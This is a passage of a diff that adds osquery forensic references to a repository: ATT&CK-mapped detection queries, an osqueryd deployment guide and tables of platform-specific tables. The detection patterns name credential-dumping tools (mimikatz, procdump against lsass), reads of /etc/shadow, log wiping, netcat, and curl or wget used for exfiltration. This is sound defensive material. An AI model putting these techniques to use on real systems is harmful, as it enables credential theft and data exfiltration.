'%del%' + OR cmdline LIKE '%shred%' + OR cmdline LIKE '%wipe%') + AND (cmdline LIKE '%log%' + OR cmdline LIKE '%audit%' + OR cmdline LIKE '%history%' + OR cmdline LIKE '%bash_history%'); +``` + +### T1027 - Obfuscated Files or Information + +Detect encoding and obfuscation. + +```sql +SELECT pid, name, path, cmdline +FROM processes +WHERE cmdline LIKE '%base64%' + OR cmdline LIKE '%certutil%decode%' + OR cmdline LIKE '%[Convert]::FromBase64String%' + OR cmdline LIKE '%openssl enc%' + OR cmdline LIKE '%uuencode%'; +``` + +### T1564.001 - Hidden Files and Directories + +Find hidden files in unusual locations. + +```sql +SELECT path, filename, size, mtime +FROM file +WHERE filename LIKE '.%' + AND (path LIKE '/tmp/%' + OR path LIKE '/var/tmp/%' + OR path LIKE '/dev/shm/%') + AND size > 0; +``` + +## Credential Access + +### T1003.001 - LSASS Memory (Windows) + +Detect LSASS dumping. + +```sql +SELECT pid, name, path, cmdline, parent +FROM processes +WHERE name IN ('mimikatz.exe', 'procdump.exe', 'pwdump.exe') + OR cmdline LIKE '%sekurlsa%' + OR cmdline LIKE '%lsadump%' + OR cmdline LIKE '%procdump%lsass%' + OR cmdline LIKE '%comsvcs.dll%MiniDump%'; +``` + +### T1003.008 - /etc/passwd and /etc/shadow + +Detect access to credential files. + +```sql +-- Processes accessing password files +SELECT p.name, p.cmdline, pm.path +FROM processes p +JOIN process_memory_map pm ON p.pid = pm.pid +WHERE pm.path IN ('/etc/shadow', '/etc/passwd', '/etc/master.passwd') + AND p.name NOT IN ('sshd', 'login', 'su', 'sudo'); +``` + +### T1552.001 - Credentials in Files + +Search for credential files. + +```sql +SELECT path, filename, size +FROM file +WHERE (filename LIKE '%password%' + OR filename LIKE '%credential%' + OR filename LIKE '%secret%' + OR filename LIKE '%.pem' + OR filename LIKE '%.key' + OR filename = '.bash_history' + OR filename = '.zsh_history') + AND path LIKE '/home/%'; +``` + +## Discovery + +### T1057 - Process Discovery + +Detect process enumeration. + +```sql +SELECT pid, name, cmdline, parent +FROM processes +WHERE cmdline LIKE '%ps aux%' + OR cmdline LIKE '%tasklist%' + OR cmdline LIKE '%Get-Process%' + OR name IN ('ps', 'tasklist.exe'); +``` + +### T1082 - System Information Discovery + +Detect system reconnaissance. + +```sql +SELECT pid, name, cmdline +FROM processes +WHERE cmdline LIKE '%systeminfo%' + OR cmdline LIKE '%uname -a%' + OR cmdline LIKE '%Get-ComputerInfo%' + OR cmdline LIKE '%hostnamectl%' + OR cmdline LIKE '%sw_vers%'; +``` + +### T1083 - File and Directory Discovery + +Detect file enumeration. + +```sql +SELECT pid, name, cmdline +FROM processes +WHERE cmdline LIKE '%find%' + OR cmdline LIKE '%dir /s%' + OR cmdline LIKE '%ls -la%' + OR cmdline LIKE '%Get-ChildItem%'; +``` + +### T1087 - Account Discovery + +Detect account enumeration. + +```sql +SELECT pid, name, cmdline +FROM processes +WHERE cmdline LIKE '%net user%' + OR cmdline LIKE '%net group%' + OR cmdline LIKE '%net localgroup%' + OR cmdline LIKE '%Get-LocalUser%' + OR cmdline LIKE '%whoami%' + OR cmdline LIKE '%id%'; +``` + +### T1046 - Network Service Scanning + +Detect network scanning activity. + +```sql +SELECT pid, name, cmdline +FROM processes +WHERE cmdline LIKE '%nmap%' + OR cmdline LIKE '%masscan%' + OR cmdline LIKE '%netcat%' + OR cmdline LIKE '%nc%' + OR name IN ('nmap', 'masscan', 'nc', 'netcat'); +``` + +## Lateral Movement + +### T1021.001 - Remote Desktop Protocol + +Detect RDP connections. + +```sql +SELECT p.pid, p.name, p.cmdline, ps.remote_address, ps.remote_port +FROM processes p +JOIN process_open_sockets ps ON p.pid = ps.pid +WHERE ps.remote_port = 3389 + OR p.name LIKE '%mstsc%' + OR p.name LIKE '%rdp%'; +``` + +### T1021.002 - SMB/Windows Admin Shares + +Detect SMB lateral movement. + +```sql +SELECT pid, name, cmdline +FROM processes +WHERE cmdline LIKE '%\\\\%\\admin$%' + OR cmdline LIKE '%\\\\%\\c$%' + OR cmdline LIKE '%net use%' + OR cmdline LIKE '%PsExec%'; +``` + +### T1021.004 - SSH + +Detect SSH lateral movement. + +```sql +-- Outbound SSH connections +SELECT p.pid, p.name, p.cmdline, ps.remote_address, ps.remote_port +FROM processes p +JOIN process_open_sockets ps ON p.pid = ps.pid +WHERE ps.remote_port = 22 + AND p.name = 'ssh'; + +-- Unusual SSH sessions +SELECT user, tty, host, time +FROM logged_in_users +WHERE tty LIKE 'pts/%' + AND user NOT IN ('root', 'admin'); +``` + +## Collection + +### T1560.001 - Archive via Utility + +Detect data archiving for staging. + +```sql +SELECT pid, name, cmdline, path +FROM processes +WHERE cmdline LIKE '%tar%' + OR cmdline LIKE '%zip%' + OR cmdline LIKE '%7z%' + OR cmdline LIKE '%rar%' + OR cmdline LIKE '%Compress-Archive%'; +``` + +### T1119 - Automated Collection + +Detect automated data collection scripts. + +```sql +SELECT pid, name, cmdline +FROM processes +WHERE (cmdline LIKE '%find%' + OR cmdline LIKE '%grep%' + OR cmdline LIKE '%Select-String%') + AND (cmdline LIKE '%password%' + OR cmdline LIKE '%credential%' + OR cmdline LIKE '%secret%' + OR cmdline LIKE '%.doc%' + OR cmdline LIKE '%.xls%'); +``` + +## Exfiltration + +### T1041 - Exfiltration Over C2 Channel + +Detect suspicious network connections. + +```sql +-- Unusual outbound connections +SELECT p.name, p.cmdline, ps.remote_address, ps.remote_port, ps.protocol +FROM processes p +JOIN process_open_sockets ps ON p.pid = ps.pid +WHERE ps.remote_address NOT IN ('127.0.0.1', '::1') + AND ps.remote_port NOT IN (80, 443, 22, 53, 3389) + AND ps.state = 'ESTABLISHED'; +``` + +### T1048.003 - Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol + +Detect data exfiltration via common tools. + +```sql +SELECT pid, name, cmdline +FROM processes +WHERE cmdline LIKE '%curl%' + OR cmdline LIKE '%wget%' + OR cmdline LIKE '%scp%' + OR cmdline LIKE '%ftp%' + OR cmdline LIKE '%rsync%'; +``` + +## Query Usage Notes + +1. **Test queries** in a lab environment before production use +2. **Tune for environment** - add whitelist filters for legitimate activity +3. **Combine queries** - join multiple detections for higher confidence +4. **Time window** - add time filters to reduce result sets +5. **Baseline first** - understand normal activity before hunting + +## Reference + +- [MITRE ATT&CK Framework](https://attack.mitre.org/) +- [MITRE ATT&CK Techniques](https://attack.mitre.org/techniques/enterprise/) diff --git a/skills/incident-response/forensics-osquery/references/osqueryd-deployment.md b/skills/incident-response/forensics-osquery/references/osqueryd-deployment.md new file mode 100644 index 0000000..0d94fb0 --- /dev/null +++ b/skills/incident-response/forensics-osquery/references/osqueryd-deployment.md @@ -0,0 +1,518 @@ +# osqueryd Deployment Guide + +Deploy osqueryd for continuous endpoint monitoring, detection, and forensic evidence collection at scale. + +## Table of Contents + +- [Overview](#overview) +- [Installation](#installation) +- [Configuration](#configuration) +- [Query Packs](#query-packs) +- [Log Management](#log-management) +- [Fleet Management](#fleet-management) +- [Performance Tuning](#performance-tuning) + +## Overview + +osqueryd is the daemon component of osquery that enables: +- Scheduled query execution across endpoint fleet +- Real-time event monitoring with event tables +- Centralized log collection and aggregation +- Detection-as-code with versioned query packs + +## Installation + +### Linux (Ubuntu/Debian) + +```bash +# Add osquery repository +export OSQUERY_KEY=1484120AC4E9F8A1A577AEEE97A80C63C9D8B80B +sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys $OSQUERY_KEY + +# Add repository +sudo add-apt-repository 'deb [arch=amd64] https://pkg.osquery.io/deb deb main' + +# Install +sudo apt update +sudo apt install osquery +``` + +### Linux (RHEL/CentOS) + +```bash +# Add osquery repository +curl -L https://pkg.osquery.io/rpm/GPG | sudo tee /etc/pki/rpm-gpg/RPM-GPG-KEY-osquery + +# Add repository +sudo yum-config-manager --add-repo https://pkg.osquery.io/rpm/osquery-s3-rpm.repo + +# Install +sudo yum install osquery +``` + +### macOS + +```bash +# Using Homebrew +brew install osquery + +# Or download official PKG installer +# https://pkg.osquery.io/darwin/osquery-.pkg +``` + +### Windows + +```powershell +# Download MSI installer +# https://pkg.osquery.io/windows/osquery-.msi + +# Install via PowerShell +msiexec /i osquery-.msi /quiet +``` + +## Configuration + +### Configuration File Location + +- Linux: `/etc/osquery/osquery.conf` +- macOS: `/var/osquery/osquery.conf` +- Windows: `C:\Program Files\osquery\osquery.conf` + +### Basic Configuration + +```json +{ + "options": { + "config_plugin": "filesystem", + "logger_plugin": "filesystem", + "logger_path": "/var/log/osquery", + "disable_logging": false, + "log_result_events": true, + "schedule_splay_percent": 10, + "pidfile": "/var/osquery/osquery.pidfile", + "events_expiry": 3600, + "database_path": "/var/osquery/osquery.db", + "verbose": false, + "worker_threads": 2, + "enable_monitor": true, + "disable_events": false, + "disable_audit": false, + "audit_allow_config": true, + "audit_allow_sockets": true, + "host_identifier": "hostname", + "enable_syslog": false, + "syslog_pipe_path": "/var/osquery/syslog_pipe" + }, + + "schedule": { + "system_info": { + "query": "SELECT * FROM system_info;", + "interval": 3600, + "description": "Collect system information hourly" + }, + "running_processes": { + "query": "SELECT pid, name, path, cmdline, uid FROM processes;", + "interval": 300, + "description": "Monitor running processes every 5 minutes" + }, + "network_connections": { + "query": "SELECT p.name, p.cmdline, ps.remote_address, ps.remote_port FROM processes p JOIN process_open_sockets ps ON p.pid = ps.pid WHERE ps.remote_address NOT IN ('127.0.0.1', '::1');", + "interval": 600, + "description": "Monitor network connections every 10 minutes" + } + }, + + "packs": { + "incident-response": "/etc/osquery/packs/ir-triage.conf", + "ossec-rootkit": "/usr/share/osquery/packs/ossec-rootkit.conf" + } +} +``` + +### Security-Focused Configuration + +```json +{ + "options": { + "config_plugin": "filesystem", + "logger_plugin": "filesystem", + "logger_path": "/var/log/osquery", + "disable_logging": false, + "log_result_events": true, + "schedule_splay_percent": 10, + "worker_threads": 4, + "enable_monitor": true, + "watchdog_level": 1, + "watchdog_memory_limit": 250, + "watchdog_utilization_limit": 20 + }, + + "schedule": { + "suspicious_processes": { + "query": "SELECT * FROM processes WHERE on_disk = 0 OR path LIKE '%tmp%' OR path LIKE '%Temp%';", + "interval": 300, + "description": "Detect suspicious processes" + }, + "unauthorized_suid": { + "query": "SELECT path, mode, uid FROM file WHERE (mode LIKE '%4%' OR mode LIKE '%2%') AND path NOT IN (SELECT path FROM file WHERE path LIKE '/usr/%' OR path LIKE '/bin/%');", + "interval": 3600, + "description": "Find unauthorized SUID binaries", + "platform": "posix" + }, + "registry_run_keys": { + "query": "SELECT key, name, path FROM registry WHERE key LIKE '%Run%' OR key LIKE '%RunOnce%';", + "interval": 3600, + "description": "Monitor registry persistence", + "platform": "windows" + } + } +} +``` + +## Query Packs + +### Creating Query Packs + +Query packs organize related queries for specific security scenarios. + +**Example: `/etc/osquery/packs/ir-triage.conf`** + +```json +{ + "platform": "all", + "version": "1.0.0", + "queries": { + "logged_in_users": { + "query": "SELECT * FROM logged_in_users;", + "interval": 600, + "description": "Track logged-in users" + }, + "listening_ports": { + "query": "SELECT lp.port, lp.address, p.name, p.path FROM listening_ports lp LEFT JOIN processes p ON lp.pid = p.pid WHERE lp.address NOT IN ('127.0.0.1', '::1');", + "interval": 300, + "description": "Monitor listening network ports" + }, + "kernel_modules": { + "query": "SELECT name, used_by, status FROM kernel_modules;", + "interval": 3600, + "description": "Monitor loaded kernel modules", + "platform": "linux" + }, + "scheduled_tasks": { + "query": "SELECT name, action, path, enabled FROM scheduled_tasks WHERE enabled = 1;", + "interval": 3600, + "description": "Monitor Windows scheduled tasks", + "platform": "windows" + }, + "launchd_services": { + "query": "SELECT name, path, program, run_at_load FROM launchd WHERE run_at_load = 1;", + "interval": 3600, + "description": "Monitor macOS launch services", + "platform": "darwin" + } + } +} +``` + +### Platform-Specific Packs + +Use `"platform"` field to limit queries: +- `"posix"` - Linux and macOS +- `"linux"` - Linux only +- `"darwin"` - macOS only +- `"windows"` - Windows only +- `"all"` - All platforms + +## Log Management + +### Log Types + +osqueryd generates several log types: + +1. **Result logs**: Query results from scheduled queries +2. **Status logs**: osqueryd operational status and errors +3. **Snapshot logs**: Full result sets (vs differential) + +### Log Formats + +**JSON (recommended):** +```json +{ + "name": "suspicious_processes", + "hostIdentifier": "web-server-01", + "calendarTime": "Mon Oct 02 12:34:56 2023 UTC", + "unixTime": 1696251296, + "epoch": 0, + "counter": 1, + "columns": { + "pid": "1234", + "name": "suspicious", + "path": "/tmp/suspicious" + }, + "action": "added" +} +``` + +### Centralized Logging + +#### Option 1: Syslog + +```json +{ + "options": { + "logger_plugin": "syslog", + "syslog_pipe_path": "/var/osquery/syslog_pipe" + } +} +``` + +#### Option 2: AWS Kinesis/Firehose + +```json +{ + "options": { + "logger_plugin": "aws_kinesis", + "aws_kinesis_stream": "osquery-results", + "aws_region": "us-east-1" + } +} +``` + +#### Option 3: TLS Endpoint + +```json +{ + "options": { + "logger_plugin": "tls", + "logger_tls_endpoint": "/log", + "logger_tls_period": 60 + } +} +``` + +#### Option 4: Kafka + +```json +{ + "options": { + "logger_plugin": "kafka_producer", + "kafka_topic": "osquery-logs", + "kafka_brokers": "broker1:9092,broker2:9092" + } +} +``` + +## Fleet Management + +### Fleet Manager Options + +1. **osquery Fleet Manager** - Official fleet management tool +2. **Kolide Fleet** - Open-source fleet management (now FleetDM) +3. **Doorman** - Minimal fleet manager +4. **Zentral** - macOS-focused fleet management + +### FleetDM Configuration + +```yaml +# fleet-config.yml +mysql: + address: 127.0.0.1:3306 + database: fleet + username: fleet + password: fleet_password + +redis: + address: 127.0.0.1:6379 + +server: + address: 0.0.0.0:8080 + tls: true + cert: /path/to/cert.pem + key: /path/to/key.pem + +logging: + json: true + debug: false +``` + +### Enrolling Endpoints + +#### TLS Enrollment + +```json +{ + "options": { + "enroll_secret_path": "/etc/osquery/enroll_secret.txt", + "tls_server_certs": "/etc/osquery/certs/server.pem", + "tls_hostname": "fleet.example.com", + "host_identifier": "uuid", + "enroll_tls_endpoint": "/api/v1/osquery/enroll", + "config_plugin": "tls", + "config_tls_endpoint": "/api/v1/osquery/config", + "config_refresh": 60, + "logger_plugin": "tls", + "logger_tls_endpoint": "/api/v1/osquery/log", + "logger_tls_period": 10, + "distributed_plugin": "tls", + "distributed_interval": 60, + "distributed_tls_read_endpoint": "/api/v1/osquery/distributed/read", + "distributed_tls_write_endpoint": "/api/v1/osquery/distributed/write" + } +} +``` + +## Performance Tuning + +### Resource Limits + +```json +{ + "options": { + "watchdog_level": 1, + "watchdog_memory_limit": 250, + "watchdog_utilization_limit": 20, + "worker_threads": 4, + "schedule_timeout": 60, + "schedule_max_drift": 60 + } +} +``` + +### Query Optimization + +1. **Use appropriate intervals**: Balance freshness vs performance + - Critical queries: 60-300 seconds + - Standard monitoring: 300-900 seconds + - Inventory queries: 3600+ seconds + +2. **Add WHERE clauses**: Reduce result set size + ```sql + -- Bad: SELECT * FROM file; + -- Good: SELECT * FROM file WHERE path LIKE '/etc/%'; + ``` + +3. **Limit result sets**: Use LIMIT clause + ```sql + SELECT * FROM processes ORDER BY start_time DESC LIMIT 100; + ``` + +4. **Differential logging**: Only log changes + ```json + { + "options": { + "log_result_events": true + } + } + ``` + +### Schedule Splay + +Prevent query storms by adding jitter: + +```json +{ + "options": { + "schedule_splay_percent": 10 + } +} +``` + +## Service Management + +### Linux (systemd) + +```bash +# Start osqueryd +sudo systemctl start osqueryd + +# Enable on boot +sudo systemctl enable osqueryd + +# Check status +sudo systemctl status osqueryd + +# View logs +sudo journalctl -u osqueryd -f +``` + +### macOS (launchd) + +```bash +# Start osqueryd +sudo launchctl load /Library/LaunchDaemons/com.facebook.osqueryd.plist + +# Stop osqueryd +sudo launchctl unload /Library/LaunchDaemons/com.facebook.osqueryd.plist + +# Check status +sudo launchctl list | grep osquery +``` + +### Windows (Service) + +```powershell +# Start service +Start-Service osqueryd + +# Stop service +Stop-Service osqueryd + +# Check status +Get-Service osqueryd + +# View logs +Get-Content "C:\ProgramData\osquery\log\osqueryd.results.log" -Wait +``` + +## Security Best Practices + +1. **Limit configuration access**: Restrict `/etc/osquery/` to root only +2. **Use TLS**: Encrypt fleet management communications +3. **Rotate secrets**: Change enrollment secrets regularly +4. **Monitor osqueryd**: Alert on service failures +5. **Version control configs**: Track configuration changes in Git +6. **Test before deploy**: Validate queries in lab first +7. **Implement RBAC**: Use fleet manager role-based access +8. **Audit queries**: Review all scheduled queries for performance impact + +## Troubleshooting + +### High CPU Usage + +Check query performance: +```bash +# Enable verbose logging +sudo osqueryd --verbose --config_path=/etc/osquery/osquery.conf + +# Check query times +tail -f /var/log/osquery/osqueryd.INFO | grep "query=" +``` + +### Missing Results + +Verify query syntax: +```bash +# Test query interactively +osqueryi "SELECT * FROM processes LIMIT 5;" + +# Check for errors +tail -f /var/log/osquery/osqueryd.results.log +``` + +### Service Crashes + +Review watchdog settings: +```json +{ + "options": { + "watchdog_level": 0, # Disable for debugging + "verbose": true + } +} +``` + +## Reference + +- [osquery Deployment Guide](https://osquery.readthedocs.io/en/stable/deployment/) +- [FleetDM Documentation](https://fleetdm.com/docs) +- [osquery Configuration](https://osquery.readthedocs.io/en/stable/deployment/configuration/) diff --git a/skills/incident-response/forensics-osquery/references/platform-differences.md b/skills/incident-response/forensics-osquery/references/platform-differences.md new file mode 100644 index 0000000..6d332e4 --- /dev/null +++ b/skills/incident-response/forensics-osquery/references/platform-differences.md @@ -0,0 +1,353 @@ +# Platform-Specific osquery Tables and Queries + +Guide to platform-specific tables and query variations across Linux, macOS, and Windows. + +## Table of Contents + +- [Cross-Platform Tables](#cross-platform-tables) +- [Linux-Specific Tables](#linux-specific-tables) +- [macOS-Specific Tables](#macos-specific-tables) +- [Windows-Specific Tables](#windows-specific-tables) +- [Query Translation Examples](#query-translation-examples) + +## Cross-Platform Tables + +These tables work across all platforms with consistent schemas: + +- `processes` - Running processes +- `users` - User accounts +- `groups` - User groups +- `file` - File system metadata +- `hash` - File hashing +- `system_info` - System information +- `os_version` - OS version details +- `interface_addresses` - Network interfaces +- `routes` - Routing table +- `listening_ports` - Listening network ports + +## Linux-Specific Tables + +### Process and System + +| Table | Description | +|-------|-------------| +| `kernel_modules` | Loaded kernel modules | +| `kernel_info` | Kernel version and boot parameters | +| `memory_info` | System memory information | +| `process_namespaces` | Linux namespace information | +| `seccomp_events` | Seccomp filter events | +| `selinux_events` | SELinux audit events | +| `apparmor_events` | AppArmor audit events | + +### Package Management + +| Table | Description | +|-------|-------------| +| `deb_packages` | Debian/Ubuntu packages (dpkg) | +| `rpm_packages` | RPM packages (yum/dnf) | +| `portage_packages` | Gentoo Portage packages | +| `pacman_packages` | Arch Linux packages | + +### Persistence + +| Table | Description | +|-------|-------------| +| `crontab` | Cron scheduled jobs | +| `systemd_units` | Systemd services and units | + +### Example Linux Queries + +```sql +-- Check kernel modules +SELECT name, size, used_by, status FROM kernel_modules; + +-- Active systemd services +SELECT id, description, active_state, fragment_path +FROM systemd_units +WHERE active_state = 'active'; + +-- Recently installed packages (Debian/Ubuntu) +SELECT name, version, install_time +FROM deb_packages +ORDER BY install_time DESC LIMIT 20; + +-- SELinux denials +SELECT * FROM selinux_events WHERE denied = 1; +``` + +## macOS-Specific Tables + +### System and Kernel + +| Table | Description | +|-------|-------------| +| `kernel_extensions` | Loaded kernel extensions (kexts) | +| `system_extensions` | macOS system extensions | +| `signature` | Code signature verification | +| `quarantine` | Quarantine database entries | + +### Persistence + +| Table | Description | +|-------|-------------| +| `launchd` | Launch agents and daemons | +| `startup_items` | Startup items | +| `periodic_items` | Periodic script executions | + +### Applications + +| Table | Description | +|-------|-------------| +| `apps` | Installed macOS applications | +| `safari_extensions` | Safari browser extensions | +| `authorization_mechanisms` | Authorization plugin mechanisms | + +### Security + +| Table | Description | +|-------|-------------| +| `extended_attributes` | File extended attributes (xattr) | +| `keychain_items` | macOS Keychain items | +| `firewall` | macOS firewall settings | + +### Example macOS Queries + +```sql +-- Launch agents that run at load +SELECT name, path, program, program_arguments, run_at_load +FROM launchd +WHERE run_at_load = 1 + AND path NOT LIKE '/System/%'; + +-- Loaded kernel extensions +SELECT name, version, path, linked_against +FROM kernel_extensions +WHERE loaded = 1; + +-- Quarantined files +SELECT path, description, data_url +FROM quarantine +WHERE path LIKE '/Users/%/Downloads/%'; + +-- Unsigned executables in Applications +SELECT path, signed FROM signature +WHERE path LIKE '/Applications/%' AND signed = 0; + +-- Code signing status +SELECT path, authority, signed, identifier +FROM signature +WHERE path = '/Applications/Suspicious.app/Contents/MacOS/Suspicious'; +``` + +## Windows-Specific Tables + +### System and Registry + +| Table | Description | +|-------|-------------| +| `registry` | Windows registry access | +| `drivers` | Device drivers | +| `services` | Windows services | +| `wmi_cli_event_consumers` | WMI event consumers | +| `wmi_filter_consumer_binding` | WMI filter bindings | + +### Persistence + +| Table | Description | +|-------|-------------| +| `scheduled_tasks` | Windows scheduled tasks | +| `autoexec` | Auto-execution entries | +| `startup_items` | Startup folder items | + +### Security + +| Table | Description | +|-------|-------------| +| `windows_eventlog` | Windows Event Log | +| `authenticode` | Authenticode signature verification | +| `windows_security_products` | Installed security products | +| `bitlocker_info` | BitLocker encryption status | + +### Processes + +| Table | Description | +|-------|-------------| +| `process_memory_map` | Process memory mappings | +| `process_handles` | Open process handles | + +### Example Windows Queries + +```sql +-- Registry Run keys +SELECT key, name, path, data, mtime +FROM registry +WHERE (key LIKE '%\\Run' OR key LIKE '%\\RunOnce') + AND key NOT LIKE '%\\RunOnceEx'; + +-- Scheduled tasks +SELECT name, action, path, enabled, last_run_time, next_run_time +FROM scheduled_tasks +WHERE enabled = 1 +ORDER BY next_run_time; + +-- WMI persistence +SELECT name, command_line_template, executable_path +FROM wmi_cli_event_consumers; + +-- Windows services +SELECT name, display_name, status, path, start_type, user_account +FROM services +WHERE start_type IN ('AUTO_START', 'DEMAND_START') +ORDER BY status; + +-- Event log security events +SELECT datetime, eventid, source, data +FROM windows_eventlog +WHERE channel = 'Security' + AND eventid IN (4624, 4625, 4648, 4672) +ORDER BY datetime DESC LIMIT 100; + +-- Authenticode signature verification +SELECT path, result, subject_name, issuer_name +FROM authenticode +WHERE path LIKE 'C:\Users\%' + AND result != 'trusted'; +``` + +## Query Translation Examples + +### Persistence Mechanisms + +**Linux:** +```sql +-- Cron jobs +SELECT * FROM crontab; + +-- Systemd services +SELECT name, fragment_path, active_state +FROM systemd_units +WHERE active_state = 'active'; +``` + +**macOS:** +```sql +-- Launch agents/daemons +SELECT name, path, program, run_at_load +FROM launchd +WHERE run_at_load = 1; + +-- Startup items +SELECT name, path, type, source +FROM startup_items; +``` + +**Windows:** +```sql +-- Registry Run keys +SELECT key, name, path +FROM registry +WHERE key LIKE '%Run%'; + +-- Scheduled tasks +SELECT name, action, enabled +FROM scheduled_tasks +WHERE enabled = 1; +``` + +### Package/Application Inventory + +**Linux (Debian/Ubuntu):** +```sql +SELECT name, version, install_time +FROM deb_packages +ORDER BY install_time DESC; +``` + +**Linux (RHEL/CentOS):** +```sql +SELECT name, version, install_time +FROM rpm_packages +ORDER BY install_time DESC; +``` + +**macOS:** +```sql +SELECT name, path, bundle_version, last_opened_time +FROM apps +ORDER BY last_opened_time DESC; +``` + +**Windows:** +```sql +SELECT name, version, install_location, install_date +FROM programs +ORDER BY install_date DESC; +``` + +### Network Connections + +**All Platforms:** +```sql +-- Active connections +SELECT p.name, p.cmdline, ps.remote_address, ps.remote_port, ps.state +FROM processes p +JOIN process_open_sockets ps ON p.pid = ps.pid +WHERE ps.state = 'ESTABLISHED'; +``` + +**Platform-specific filtering:** +```sql +-- Linux: Filter by network namespace +SELECT * FROM process_open_sockets +WHERE pid IN (SELECT pid FROM processes WHERE root != '/'); + +-- macOS: Include code signature +SELECT p.name, ps.remote_address, s.authority +FROM processes p +JOIN process_open_sockets ps ON p.pid = ps.pid +LEFT JOIN signature s ON p.path = s.path; + +-- Windows: Include service name +SELECT p.name, s.name AS service_name, ps.remote_address +FROM processes p +JOIN process_open_sockets ps ON p.pid = ps.pid +LEFT JOIN services s ON p.path = s.path; +``` + +## Platform Detection in Queries + +Use `os_version` table to detect platform: + +```sql +-- Get current platform +SELECT platform, name, version FROM os_version; + +-- Platform-specific queries +SELECT CASE + WHEN platform = 'darwin' THEN (SELECT COUNT(*) FROM launchd) + WHEN platform LIKE '%linux%' THEN (SELECT COUNT(*) FROM systemd_units) + WHEN platform LIKE '%windows%' THEN (SELECT COUNT(*) FROM services) + ELSE 0 +END AS persistence_count +FROM os_version; +``` + +## Best Practices for Cross-Platform Queries + +1. **Check table availability** before querying: + ```bash + osqueryi ".tables" | grep + ``` + +2. **Use platform detection** for conditional logic + +3. **Test queries on each platform** - column names may vary slightly + +4. **Document platform requirements** in query comments + +5. **Create platform-specific query packs** for osqueryd + +## Reference + +- [osquery Schema Documentation](https://osquery.io/schema/) +- [Platform-specific table reference](https://osquery.io/schema/) diff --git a/skills/incident-response/forensics-osquery/references/table-guide.md b/skills/incident-response/forensics-osquery/references/table-guide.md new file mode 100644 index 0000000..d91947f --- /dev/null +++ b/skills/incident-response/forensics-osquery/references/table-guide.md @@ -0,0 +1,479 @@ +# osquery Table Reference for Forensic Investigations + +Comprehensive guide to osquery tables most relevant for incident response and forensic analysis. + +## Table of Contents + +- [Process Tables](#process-tables) +- [Network Tables](#network-tables) +- [File System Tables](#file-system-tables) +- [User and Authentication Tables](#user-and-authentication-tables) +- [System Information Tables](#system-information-tables) +- [Persistence Mechanism Tables](#persistence-mechanism-tables) +- [Platform-Specific Tables](#platform-specific-tables) + +## Process Tables + +### processes + +Query running processes with detailed information. + +**Key columns**: pid, name, path, cmdline, cwd, uid, gid, parent, pgroup, state, on_disk, start_time + +```sql +-- Basic process listing +SELECT pid, name, path, cmdline, uid FROM processes; + +-- Processes with deleted executables (malware indicator) +SELECT * FROM processes WHERE on_disk = 0; + +-- Process tree +SELECT p1.pid, p1.name, p1.cmdline, p2.pid AS parent_pid, p2.name AS parent_name +FROM processes p1 +LEFT JOIN processes p2 ON p1.parent = p2.pid; +``` + +### process_open_sockets + +Network sockets opened by processes. + +**Key columns**: pid, socket, family, protocol, local_address, local_port, remote_address, remote_port, state + +```sql +-- Active external connections +SELECT p.name, ps.remote_address, ps.remote_port, ps.state, p.cmdline +FROM processes p +JOIN process_open_sockets ps ON p.pid = ps.pid +WHERE ps.remote_address NOT IN ('127.0.0.1', '::1', '0.0.0.0'); +``` + +### process_memory_map + +Memory regions mapped by processes (useful for detecting injections). + +**Key columns**: pid, start, end, permissions, path, pseudo + +```sql +-- Detect suspicious memory mappings +SELECT p.name, pm.path, pm.permissions, p.cmdline +FROM process_memory_map pm +JOIN processes p ON pm.pid = p.pid +WHERE pm.path LIKE '%tmp%' OR pm.pseudo = 1; +``` + +### process_envs + +Environment variables for running processes. + +**Key columns**: pid, key, value + +```sql +-- Check for suspicious environment variables +SELECT p.name, pe.key, pe.value +FROM process_envs pe +JOIN processes p ON pe.pid = p.pid +WHERE pe.key IN ('LD_PRELOAD', 'DYLD_INSERT_LIBRARIES', 'PATH'); +``` + +## Network Tables + +### listening_ports + +Ports listening for connections. + +**Key columns**: pid, port, protocol, family, address + +```sql +-- Listening ports mapped to processes +SELECT lp.port, lp.protocol, lp.address, p.name, p.path, p.cmdline +FROM listening_ports lp +LEFT JOIN processes p ON lp.pid = p.pid +WHERE lp.address NOT IN ('127.0.0.1', '::1') +ORDER BY lp.port; +``` + +### interface_addresses + +Network interface IP addresses. + +**Key columns**: interface, address, mask, broadcast + +```sql +-- List all network interfaces and addresses +SELECT interface, address, mask, type FROM interface_addresses; +``` + +### routes + +System routing table. + +**Key columns**: destination, netmask, gateway, source, interface, type + +```sql +-- Check routing table +SELECT destination, netmask, gateway, interface FROM routes; +``` + +### arp_cache + +ARP table entries (detect ARP spoofing). + +**Key columns**: address, mac, interface, permanent + +```sql +-- ARP cache analysis +SELECT address, mac, interface FROM arp_cache ORDER BY address; +``` + +## File System Tables + +### file + +Query file system metadata. + +**Key columns**: path, directory, filename, size, mtime, atime, ctime, mode, uid, gid, type + +```sql +-- Recently modified files in sensitive directories +SELECT path, filename, mtime, uid, gid, mode +FROM file +WHERE path LIKE '/etc/%' + OR path LIKE '/usr/bin/%' + OR path LIKE '/usr/sbin/%' +ORDER BY mtime DESC LIMIT 50; + +-- SUID/SGID binaries +SELECT path, filename, mode, uid +FROM file +WHERE (mode LIKE '%4%' OR mode LIKE '%2%') + AND path LIKE '/usr/%'; +``` + +### hash + +File cryptographic hashes (MD5, SHA1, SHA256). + +**Key columns**: path, directory, filename, md5, sha1, sha256, size + +```sql +-- Hash files in suspicious locations +SELECT path, filename, md5, sha256 +FROM hash +WHERE path LIKE '/tmp/%' + OR path LIKE '/var/tmp/%'; +``` + +### file_events + +Real-time file system change monitoring (requires file integrity monitoring). + +**Key columns**: target_path, action, time, pid, uid, gid + +```sql +-- Recent file modifications +SELECT target_path, action, time, pid +FROM file_events +WHERE action IN ('CREATED', 'UPDATED', 'DELETED') + AND time > strftime('%s', 'now') - 3600; +``` + +## User and Authentication Tables + +### users + +System user accounts. + +**Key columns**: uid, gid, username, description, directory, shell + +```sql +-- Users with login shells +SELECT username, uid, gid, shell, directory +FROM users +WHERE shell NOT LIKE '%nologin%' AND shell NOT LIKE '%false'; + +-- Recent user additions (requires tracking) +SELECT * FROM users ORDER BY uid DESC LIMIT 10; +``` + +### logged_in_users + +Currently logged-in users. + +**Key columns**: user, tty, host, time, pid + +```sql +-- Active user sessions +SELECT user, tty, host, time FROM logged_in_users; +``` + +### last + +Login history (last command output). + +**Key columns**: username, tty, pid, type, time, host + +```sql +-- Recent login history +SELECT username, tty, host, time, type +FROM last +ORDER BY time DESC LIMIT 50; +``` + +### groups 